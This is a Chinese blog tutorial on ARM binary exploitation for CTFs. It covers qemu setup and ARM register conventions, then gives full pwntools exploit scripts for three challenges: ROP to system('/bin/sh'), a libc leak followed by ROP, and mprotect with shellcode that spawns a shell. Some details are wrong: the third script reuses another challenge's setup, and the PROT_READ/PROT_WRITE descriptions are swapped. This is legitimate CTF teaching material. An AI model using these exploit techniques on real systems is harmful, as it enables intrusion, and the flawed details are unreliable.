HackPluto's Blog

ARM pwn入门

字数统计: 2.4k阅读时长: 10 min
2020/04/26 Share

ARM PWN

环境搭建(基于Ubuntu18.04)

  • 安装 git,gdb 和 gdb-multiarch

    1
    2
    $ sudo apt-get update
    $ sudo apt-get install git gdb gdb-multiarch
  • 安装qemu

    1
    2
    $ sudo apt-get install qemu-user
    $ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386
  • 安装共享库

    1
    2
    3
    sudo apt install libc6-arm64-cross
    sudo apt install libc6-armel-cross
    sudo apt install libc6-armhf-cross

静态链接的 binary 直接运行即可,会自动调用对应架构的 qemu;
动态链接的 bianry 需要用对应的 qemu 同时指定共享库路径

基础知识

32位ARM指令集

Arm32位是ARMV7架构,32位的
常见寄存器及作用

  • r0:参数1,返回时作为返回值1用,通用寄存器1
  • r1:参数2,返回值,通用寄存器2
  • r2:参数3,通用寄存器
  • r3:参数4,通用寄存器
  • r4 ~ r8:变量寄存器1,2,3,4,5
  • r7(补充):系统调用时,存放系统调用号,有时也用于作为FP使用。
  • r9:平台寄存器,该寄存器的意义由平台标准定义
  • r10,r11:变量寄存器
  • r11:主要作为FP使用,FP又叫frame pointer即栈基指针,主要在函数中保存当前函数的栈起始位置,用于堆栈回溯
  • r12:内部过程调用寄存器
  • r13:栈寄存器SP,主要用于指向当前程序栈顶,配合指令pop/push等
  • r14:link寄存器,主要用于存放函数的返回地址,即当前函数返回时,知道自己该回到哪儿去继续运行,通常这个是和BL/BLX/CALL指令搭配,这几个指令被调用后,默认会自动将当前调用指令的下一条指令地址保存到LR寄存器当中
  • r15:PC,主要用于存放CPU取指的地址

使用规则:

1、当参数少于4个时,子程序间通过寄存器R0-R3来传递参数;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复R0~R3的值;
2、在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存。
3、ATPCS规定堆栈是满递减堆栈FD;满递增堆栈:堆栈指针指向最后压入的数据,且堆栈由高地址向低地址方向增长
4、子程序返回32位的整数,使用R0返回;返回64位整数时,使用R0返回低位,R1返回高位。

32位下 NEON寄存器:

  • 32个S寄存器,S0~S31,(单字,32bit)
  • 32个D寄存器,D0~D31,(双字,64bit)
  • 16个Q寄存器,Q0~Q15,(四字,128bit)

1、NEON寄存器将每个寄存器均视为一个向量,该向量又包含1,2,4,8或16个大小和类型均相同的元素。也可以将各个元素当做标量访问。
NEON的这三种寄存器是重叠的,物理地址是一样的。
2、NEON寄存器在使用时,如果用到d8~d15寄存器,需要先入栈保存vpush {d8-d15},使用完之后要出栈vpop {d8-d15}

64位ARM指令集

ARM64位采用ARMv8架构,64位操作长度
ARM架构64位寄存器:
31个通用寄存器X0-X30,以及SP(x31)和PC,共33个。其中W0-W31分别是X0~X31的低32位,如下图所示:

寄存器调用规则如下:

  • X0~X7:用于传递子程序参数和结果,使用时不需要保存,多余参数采用堆栈传递,64位返回结果采用X0表示,128位返回结果采用X1:X0表示。
    X8:用于保存子程序返回地址, 尽量不要使用 。
    X9~X15:临时寄存器,使用时不需要保存。
    X16~X17:子程序内部调用寄存器,使用时不需要保存,尽量不要使用。
    X18:平台寄存器,它的使用与平台相关,尽量不要使用。
    X19~X28:临时寄存器,使用时必须保存。
    X29:帧指针寄存器,用于连接栈帧,使用时需要保存。
    X30:链接寄存器LR
    X31:堆栈指针寄存器SP或零寄存器ZXR

子程序调用时必须要保存的寄存器:X19-X29和SP(X31)。
不需要保存的寄存器:X0-X7,X9-X15

64位下NEON寄存器:

  • 32个B寄存器(B0~B31),8bit
  • 32个H寄存器(H0~H31),半字 16bit
  • 32个S寄存器(S0~S31),单子 32bit
  • 32个D寄存器(D0~D31),双字 64bit
  • 32个Q寄存器(V0~V31),四字 128bit

不同位数下寄存器之间的关系如下图所示:

Jarvis oj - typo

题目链接

1
2
3
4
5
6
7
$ checksec typo        
[*] '/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/arm_pwn/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

32位的ARM,保护只开了NX
whA6WG
IDA解析出来没有符号表,但是可以通过start函数定位到main函数的地址是sub_8f00

还原符号表

因为这个题没有符号表的信息,所以使用Rizzo进行符号表修复,先将这个脚本拷贝到IDA的这个目录下
zfk7Bf
再用IDA加载so文件

1
/usr/arm-linux-gnueabi/lib/libc-2.27.so

在IDA的file—>Produce file—>Rizzo signature file中使用Rizzo导出符号表文件。

然后加载题目文件,在IDA的file—>Load file—>Rizzo signature file中使用Rizzo导出加载我们刚才导出的符号表文件
oOQ5lj
可以看到已经解析出了system函数的地址

定位漏洞点

ARM下基本都是栈的漏洞,但是这个题的二进制文件在IDA中反汇编的的确不好,很多函数都没有识别出来,所以我的方法是,先通过字符串定位到一些可以的函数,然后逐个去找,就找到了这个漏洞函数
4K4lGs
这里存在栈溢出,因为开启了NX,所以使用ROP
这里已经知道了溢出点,需要覆盖的长度是0x70
ZR0mrA
因为我们已经知道了system函数的位置,所以就不用找system了

get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import sys


context.log_level = "debug"
if sys.argv[1] == "l":
p = process("./typo")
elif sys.argv[1] == "d":
p = process(["qemu-arm", "-g", "1234", "./typo"])
else:
p = remote("pwn2.jarvisoj.com", 9888)


p.recvuntil("Input ~ if you want to quit")
p.send("\n")
p.recvuntil("------Begin------\n")

binsh = 0x0006c384
pop_r0 = 0x00020904
system_addr = 0x110B4
payload = 'a' * 0x70 + p32(pop_r0) + p32(binsh) * 2 + p32(system_addr)
p.sendline(payload)
p.interactive()

Codegate2018 - melong

题目链接

1
2
3
4
5
6
7
$ checksec melong 
[*] '/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/arm_pwn/melong'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

同样只开了NX

寻找漏洞点

PykGBy
write函数存在潜在的栈溢出,如果我们可以控制nbytes的值,这个值由第一个参数决定,第一个参数又是PT函数的返回值,我们进入PT函数分析
sDGkIA
接着查看exc2的值
我们可以发现exc2的初始化在get_result函数,如果a2是1,就不会改变exc2的值
o45UpG
这个参数在第一次调用的时候刚好就是1
hvo1iy
所以我们先调用check,使exc2的值不要变,也就是0,接着调用PT,我们可以输入一个负数比如,-1,这样malloc就会返回0,最后v0以-1返回,接着调用write函数,这里read的参数是无符号整数,所以相当于是一个任意长度的读。
这个题因为没有system函数,所以需要先使用ROP leak出libc的地址,这个就和X86下的步骤一样了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import sys


context.log_level = "debug"
if sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi","./melong"])
elif sys.argv[1] == "d":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi","-g", "1234", "./melong"])
else:
p = remote("pwn2.jarvisoj.com", 9888)

elf = ELF("./melong")
libc=ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")

def check(a,b):
p.sendlineafter("Type the number:","1")
p.recvuntil("Your height(meters) :")
p.sendline(a)
p.recvuntil("Your weight(kilograms) :")
p.sendline(b)


def pt(a):
p.sendlineafter("Type the number:","3")
p.recvuntil("How long do you want to take personal training?")
p.sendline(a)

def w_rite(a):
p.sendlineafter("Type the number:","4")
p.sendline(a)

def out():
p.sendlineafter("Type the number:","6")


pop_r0 = 0x00011bbc
check("12.0","12.0")
pt("-1")
payload = "a"*0x54 + p32(pop_r0) + p32(elf.got['puts']) + p32(elf.plt['puts']) + p32(elf.sym['main'])
w_rite(payload)
out()
base = u32(p.recvn(4)) - libc.sym['puts']
binsh = base + libc.search("/bin/sh").next()
sys = base + libc.sym['system']
success("[*]%s [*]%s"%(hex(binsh),hex(sys)))
rop = "a"*0x54 + p32(pop_r0) + p32(next(libc.search("/bin/sh"))) + p32(libc.sym['system'])
check("12.0","12.0")
pt("-1")
w_rite(rop)
out()
p.interactive()

Shanghai2018 - baby_arm

题目链接

1
2
3
4
5
6
7
8
$ checksec arm 

[*] '/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/arm_pwn/arm'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位的ARM,保护只开了NX
在IDA中我发现了一个特别的函数
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:

1
2
3
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import sys


context.log_level = "debug"
if sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi","./melong"])
elif sys.argv[1] == "d":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi","-g", "1234", "./melong"])
else:
p = remote("pwn2.jarvisoj.com", 9888)

elf = ELF("./arm")
def csu_rop(call, x0, x1, x2):
payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call)
payload += flat(x2, x1, x0)
payload += '22222222'
return payload


padding = asm('mov x0, x0')

sc = asm(shellcraft.execve("/bin/sh"))

p.sendafter("Name:", padding * 0x10 + sc)
sleep(0.01)


payload = flat(cyclic(72), csu_rop(elf.got['read'], 0, elf.got['__gmon_start__'], 8))
payload += flat(0x400824)
p.send(payload)
sleep(0.01)
p.send(flat(elf.plt['mprotect']))
sleep(0.01)

raw_input("DEBUG: ")
p.sendafter("Name:", padding * 0x10 + sc)
sleep(0.01)

payload = flat(cyclic(72), csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7))
payload += flat(0x411068)
sleep(0.01)
p.send(payload)

p.interactive()

CATALOG
  1. 1. ARM PWN
    1. 1.1. 环境搭建(基于Ubuntu18.04)
    2. 1.2. 基础知识
      1. 1.2.1. 32位ARM指令集
      2. 1.2.2. 64位ARM指令集
    3. 1.3. Jarvis oj - typo
      1. 1.3.1. 还原符号表
      2. 1.3.2. 定位漏洞点
      3. 1.3.3. get shell
    4. 1.4. Codegate2018 - melong
      1. 1.4.1. 寻找漏洞点
    5. 1.5. Shanghai2018 - baby_arm